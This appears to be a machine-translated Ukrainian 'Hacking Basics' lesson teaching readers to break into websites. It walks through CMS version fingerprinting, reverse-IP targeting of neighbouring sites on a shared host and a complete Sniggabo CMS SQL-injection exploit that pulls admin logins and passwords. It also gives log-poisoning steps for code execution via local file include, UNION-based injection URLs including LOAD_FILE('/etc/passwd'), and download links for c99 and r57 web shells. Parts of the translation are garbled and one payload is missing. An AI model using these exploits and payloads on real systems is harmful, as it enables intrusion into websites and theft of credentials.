Здравствуйте шановні відвідувачі порталу. Ви читаєте 4 урок із серії «Основи хакерства». А ось що ми сьогодні розберемо:

  • Методи визначення версії движка сайту/форуму
  • ReversIP і корисні інструменти.
  • Розбираємо сплоіт.
  • Більш поглиблене знайомство з SQL injection php include
  • Прогулянка по багтракам.

Методи визначення версії движка
Взагалі при аналізі сайту, потрібно відразу дивитися чи є там паблік скрипти(тобто не самописні)
Що б знайти і використовувати експлоїт, потрібно як мінімум знати назву та версію CMS, форуму чи якихось інших скриптів
розташованих на сайті (фотогалереї, новинні стрічки тощо).

Буває, що дані крутяться в підвалі сайту. Але зазвичай від туди їх прибирають.
Набагато більш ефективний варіант це подивитися вихідний код сторінки.

Для танкістів: що б переглянути джерело сторінки потрібно натиснути на праву кнопку миші і
вибрати «Вихідний код сторінки», або щось подібне до того (в залежності від браузера).

Отже, в исходнике спочатку дивимося на текст укладені коментарі ([!– –])
Як думаю зрозуміло, це текст на сторінці не відображається. Там якраз можуть бути вказані ім’я версія CMS, іноді можна знайти ми
адміністрації та інші смаколики.
В исходнике також можна знайти посилання на каскадні аркуші стилів.css). У них іноді теж можна дещо знайти.
Так, ще можна навмисно викликати помилку. Тобто спробувати відкрити неіснуючу папку на сайті (щось типу
www.site.us/gone/), цілком можливо, що сайт виплюне корисну інфу.
Ну думаю тут зрозуміло. Тепер поговоримо про форумах:
Звичайно, що за форум визначити нескладно. Складніше дізнатися версію.

В phpbb наприклад є дуже цікавий файлик — CHANGELOG.html
Його, можливо виявити по дорозі

forum/docs/CHANGELOG.html

Там можна виявити напис на зразок

phpBB x.x.x Changelog

В IPB 1.3 присутні файли ssi.php
show.php
У 2.0.*
/sources/help.php
/sources/usercp.php
В 2.1.*
/ips_kernel/PEAR/
Ну і до того ж знову ж таки треба дивитися на вихідний код і на помилки.
До речі, ще варто сказати, що довіряти банерах в підвалі не варто. Розумний адміністратор поставити фальшиву підпис.

Reverse IP і корисні інструменти.
Буває, що сайт написаний на чистому HTML без застосування скриптів. Здавалося б, зламати його майже неможливо. Але це не так.
Вихід-Reverse IP. Суть цієї атаки в тому, що б зламати сайт,
який хоститься на одному сервері з цільовим сайтом (якщо такий
є). Або наша мета отримати root(права адміністратора на сервері.
Тоді ми шукаємо, які сайти хостятся на сервері і намагаємося
зламати один з них.
Ну думаю, суть зрозуміла. Інша справа-як дізнатися, які сайти присутній на сервері.
Для цього ми будемо використовувати сканери.
Наприклад, я користуюсь ось цим онлайн сканером від madnet a

madnet.name/tools/madss/

Так само він складає приблизну структуру сайту.
Ось ще непоганий

security-digger.org/

Теж присутня можливість складати структуру директорій сайту, а також reverse ip.

Припустимо, забиваємо адреса www.job.ru
Сканер видає нам сусідні сайти.
Якщо мова пішла про онлайн тулзы наведу ще одну:

x3k.ru/

Тут є купа всяких кодувальників і декодеровщиков (нагоді нам при ін’єкціях),
так само є сканер портів Reverse IP
whois сервіс і ще кілька.
До речі, якщо ви користуєтеся браузером firefox, то можете встановити плагін Reverse IP

А плагін LiveHTTPHeaders допоможе редагувати HTTP заголовки.

Розбираємо сплоіт.
Для тестування бажано мати в наявності інтерпретатор php. Здається, на 2 уроці я
радив поставити тобі mysql+apache+php. Якщо ти вже поставив це і в тебе все працює стабільно то ок. Якщо не ставив,
раджу встановити Denwer
Процес установки простий до неподобства. В склад входить усе, що нам потрібно. Тим більше на наступному уроці я хотів би показати
аналіз однієї CMS, так що Денвер просто необхідний.
Мудрувати не будемо, візьмемо простий сплоіт для Sniggabo CMS:

Sniggabo-expl.php
14 червня, 2009
print_r(‘

################################################

Sniggabo CMS – Remote SQL Injection Exploit

Date: 11.06.2009
Vulnerability discovered by: Lidloses_Auge
Exploit coded by: Lidloses_Auge
Homepage: http://www.novusec.com
Greetz to: -=Player=- , Suicide, enco,
Palme, GPM, karamble, Free-Hack

Admin Panel: [target]/admin/login.php
Dork: “powered by Sniggabo CMS” inurl:article.php?id
Use: php ‘.$argv[0].’ http://www.site.com

################################################

‘);
$url = “$argv[1]/article.php?Id=null+union+select+concat(0x313a3a,userid,0x3a3a,password,0x3a3a)
+from+users–“;
$src = file_get_contents($url);
$data = split(“::”,$src);
echo “Admin: $data[1]nPassword: $data[2]n”;
?>
По-перше, звернемо увагу на цю рядок:

Use: php ‘.$argv[0].’ www.site.com

У ній показано, як потрібно використовувати цей експлоїт.
Як бачиш запускати його потрібно з командно рядка. В якості параметра передаємо сайт.
Далі сам код:

1 2 3 рядку ми складаємо url
$argv[1] сайт, який ми передали в якості параметра.
/article.php?Id=null+union+select+concat(0x313a3a,userid,0x3a3a,password,0x3a3a)+from+users–“; — власне сам процес отримання логіна і пароля.

Далі
$src = file_get_contents($url);
Звертаємося за складеним адресою і записуємо результат в змінну $src
$data = split(“::”,$src);
Поділяємо отриманий результат за ключовою рядку ::
echo “Admin: $data[1]nPassword: $data[2]n”;

Виводимо.
Якщо ми будемо розкручувати вразливість вручну, то результат буде таким:
Login::password
У сплоите як раз по рядку :: ми ділимо результат. У змінній перший елемент буде login а другий password.

Local PHP include та виконання довільного коду.
Зараз ми поговоримо, як через локальний инклуд ми зможемо виконати довільний код.
Як ти пам’ятаєш з допомогою цієї проблеми ми можемо читати файли на сервер. Так от, значить, ми зможемо прочитати логи веб сервера. В логах зберігаються всі запити. Нас цікавлять
httpd-access.log і httpd-error.log.
Суть в те, що б підробити HTTP заголовок записаний в поле User-Agent (наприклад) php код. Далі це код запишеться в логи, а логії ми можемо завантажувати. Ось тобі і виконання коду.
По-перше, як підробляти заголовки. Вище я наводив зручний плагін LiveHTTPHeaders. Якщо ви не користуєтеся Фоксом можна скачати програму InetCrack.
Отже, давайте спробуємо забити в поле Referer такий код:

Всі код записаний в httpd-access.log. Тепер потрібно з допомогою инклуда довантажити його.
Тут доведеться перебирати шляху до логів.

Ось стандартні forum.hackzona.ru/forum-f8/thread-t13002.html

Ну припустимо шлях виявився таким:

../../../../../../etc/apache2/httpd.conf
www.include.us/index.php?page= ../../../../../../etc/apache2/httpd.conf&cmd=ls

І ми отримаємо лістинг файлів поточної директорії (ls).
Тільки врахуй, виконується тільки той код, який стоїть першим в логах. Тобто у нас буде тільки одна спроба, а потім по новій.

SQL injection.
Особливості версії mysql 5
Що таке magic quotes
Як можна читати файли за допомогою ін’єкцій.

До цього ми розбирали ін’єкції в mysql <5
В 5 версії є деякі особливості.
Ну значить, з допомогою команди version() ми дізналися, що база даних версії 5 (or <)
В ній присутня таблиця INFORMATION_SCHEMA, в ній знаходяться таблиці і колонки бази. Вона позбавить нас від ручного підбору.
Реалізація

www.site.us/index.php?id=1
www.site.us/index.php?id=1,table_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.TABLES/*
І так тут або ми побачимо всі таблиці бази або тільки першу.
Якщо друге, то прочитати інші імена можна з допомогою limit:

www.site.us/index.php?id=+union+select+1,table_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.TABLES
+limit1,2/*

Читаємо 2 запис.
Так, припустимо знайшли таблицю.
Тепер дивимося поля:

www.site.us/index.php?id=1+union+select+1,column_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.COLUMNS/*

Знову ж перегляд конкретних записів:

www.site.us/index.php?id=+union+select+1,column_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.COLUMNS+limit 1,2/*

Ну і шукаємо поля типу password або login

Тепер поговоримо про магічні лапки (magic quotes)
це процес, який дозволяє автоматично екранувати вхідні дані PHP скрипта.
Якщо magic quotes=on (активні), то вхідні одиночні та подвійні лапки, лівий слеш і NULL знаки екрануються лівими слешами.
Чарівні лапки бувають:

magic_quotes_gpc перевіряє HTTP запити (GET, POST, і COOKIE)
magic_quotes_runtime функції, які повертають дані із зовнішніх джерел будуть екрануватися лівими слешами.
magic_quotes_sybase одиночні лапки екрануються подвійними
Сподіваюся зрозуміло, що якщо magic_quotes = on нам це дуже не на руку.

Скоро я розповім, як це обходити.
А тепер як можна прочитати файл за допомогою ін’єкції.
Тобто ми отримаємо той самий локальний php include
Ну припустимо, є инъект:

www.site.us/index.php?id=+union+select+1,2,3,4,5,6,7,8,9,10/*

Читабельно поле 2.
Завантажувати файли можна так:

www.site.us/index.php?id=+union+select+1,LOAD_FILE(/etc/passwd),4,5,6,7,8,9,10/*

Прогулянка по багтракам.В цьому топі я вирішив розбирати цікаві (ну взагалі які будуть) уразливості з багтраков. Взагалі я часто вже говорив, що читання стрічок багтрак
йде тільки на користь. Мабуть наведу кілька:

Російськомовні:
bugtraq.ru/
securitylab.ru/
securityvulns.ru/

Інші:
milw0rm.com
packetstormsecurity.org
securityfocus.com

Додаток:По-перше, як ви помітили я опустив розділ xss. На даному етапі поки не знаю що вам розповідати, тому просто дам посилання на цікаву
статьюhttp://forum.antichat.ru/thread8038.html
По друге кілька посилань на веб шелли:

c99shellhttp://eraserevil.pp.net.ua/_ld/0/87_SiJ.txt
AK-74 http://stranger.nextmail.ru/userban.txt
r57shell http://www.securitylab.ru/software/234092.php
Далі раджу прочитати недавню статтю kerny PHP Include, і трохи удачі.
ps не забуваємо що кутові теги замінені на [ and ]